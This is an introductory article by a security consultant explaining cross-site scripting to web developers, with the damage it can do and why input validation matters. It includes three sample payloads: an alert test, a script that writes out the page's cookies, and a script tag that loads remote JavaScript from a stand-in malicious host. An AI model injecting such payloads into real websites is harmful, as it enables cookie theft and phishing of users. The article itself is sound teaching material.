Cross-site scripting 101: XSS attacks plague Web browsers

Cross-site scripting (also referred to as XSS) is one of those pesky Web security problems that's been around forever. It just never seems to go away. It affects the majority of Web applications I look at and, based on hack attack stories we see in the news, it appears that it's still a widespread problem. Seemingly too complex an issue for many developers to understand, XSS is actually pretty straightforward.

Securing Windows Web browsers Internet Explorer security settings and controls Data protection on the Web: Windows SSL security and other myths

An XSS vulnerability is a Web application that doesn't properly validate user input. More specifically, it's a Web application that accepts user input and reflects it back to the user without checking for unnecessary/unauthorized code -- namely JavaScript <script> tags. The main target for XSS are search engines and form fields. They prompt the user to enter information such as name, address, etc. Technically, anywhere an application accepts user input -- including email hyperlinks and URLs that can be manipulated directly in the browser -- may be susceptible to this vulnerability.

When XSS is successful, the following can occur:

1. Cookies can be manipulated or stolen from the victim's browser.
2. The history list can be read from the victim's browser.
3. The local IP address of the victim's computer can be determined.
4. The user can be socially-engineered (or phished) into divulging Web site login credentials.

All of this information can be captured via the Web server's log files or even sent to a third-party site.

Here are three popular ways to execute XSS via JavaScript:

• Entering an alert, such as

<script>alert ('XSS!')</script>

This is the easiest and most basic way to test for XSS. The expected result would the Web browser reflecting back the script you input, like the following:

• Entering a cookie command, such as <script>document.write(document.cookie)</script>

This is how JavaScript can be used to manipulate cookies on the local system.

• Entering a link to a remote URL containing malicious JavaScript code, such as

<script src=http://www.XSS~test~site.com/illintent.js></script>

This is how a lot of phishing attacks occur. The attacker simply embeds a link such as the one above in an email hyperlink or a Web 2.0 page. Once an unsuspecting user clicks the link, the remote JavaScript runs, the attack is carried out and the user is none the wiser. Keep in mind that the field length assigned to the vulnerable Web page field may limit the attacker from entering such long input data. However, it does not eliminate XSS altogether since the field length can be manipulated in real time using a Web proxy. Browser security settings can prevent such code from running too.

In the grand scheme of Web security vulnerabilities, XSS attacks are pretty basic. They just follow the tried and true assumption that Web applications don't provide good input validation and users can be easily lured in to do whatever. In my follow-up to this tip, I'll give you some real-world examples of Web sites with XSS vulnerabilities and show exactly what can happen when they are exploited.

About the author: Kevin Beaver is an independent information security consultant, keynote speaker, and expert witness with Atlanta-based Principle Logic, LLC where he specializes in performing independent security assessments. Kevin has authored/co-authored seven books on information security including Hacking For Dummies and Hacking Wireless Networks For Dummies (Wiley). He's also the creator and author of the Security On Wheels blog and information security audio programs providing security learning for IT professionals on the go. Kevin can be reached at kbeaver --at- principlelogic.com.